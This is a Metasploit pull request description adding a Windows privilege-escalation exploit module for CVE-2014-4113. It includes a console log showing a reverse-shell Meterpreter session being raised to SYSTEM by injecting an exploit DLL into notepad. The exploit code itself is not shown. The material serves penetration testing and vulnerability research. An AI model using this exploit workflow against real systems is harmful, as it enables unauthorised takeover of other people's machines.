rapid7/metasploit-framework — pull request #4064 by jvazquez-r7 (2014-10-24 00:08:44+00:00)
Title: Add module for CVE-2014-4113 TrackPopupMenu win32k Null pointer dereference

This module adds exploit for CVE-2014-4113. It's a first version. I would like to work more on it. But I'll need some days and I think this first version can be already useful to people.

- Only supports 32 bits atm. I would like to check the 64 bits version. But I'll need some days! Probably next week! This one has been tested on : Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 (Always 32 bits of course).

- The exploit (C code) supports: Windows 5.1, Windows 5.2, Windows 6 and Windows 6.1. Out of that, the exploit (native code) won't go ahead so you will get an **unprivileged session**!

Verification
--------

- [ ] Run as in the DEMO, the common path for local exploits, hopefully enjoy sessions!

```
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.133
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.133:49175) at 2014-10-23 18:52:12 -0500
ba
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set session 1
session => 1
msf exploit(ms14_058_track_popup_menu) > check
[*] 172.16.158.133 - The target service is running, but could not be validated.
msf exploit(ms14_058_track_popup_menu) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms14_058_track_popup_menu) > expliot
[-] Unknown command: expliot.
msf exploit(ms14_058_track_popup_menu) > exploit

[*] Started reverse handler on 10.6.0.90:4444
[*] Launching notepad to host the exploit...
[+] Process 1632 launched.
[*] Reflectively injecting the exploit DLL into 1632...
[*] Injecting exploit into 1632...
[*] Exploit injected. Injecting payload into 1632...
[*] Payload injected. Executing exploit...
[*] Sending stage (770048 bytes) to 10.6.0.90
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (10.6.0.90:4444 -> 10.6.0.90:52599) at 2014-10-23 18:52:36 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.133 - Meterpreter session 2 closed. Reason: User exit
msf exploit(ms14_058_track_popup_menu) >
```

TODO
-----

- [ ] Add 64 bits version. I'ld love to work on it. But won't happen until next week, I guess it can be useful for someone in the meanwhile :)
- [ ] Refactor C code ;( it's a first version, but I'll do. Again, will need some days. Anyway with the comments / And log messages it should be kinda easy to follow the exploit :)
- [ ] Improve the check version, would be awesome to check the file versions from the patches... but there too many windows versions affected and I hadn't time. Anyway, if you get a priviliged session it's a good proof of vulnerable version :P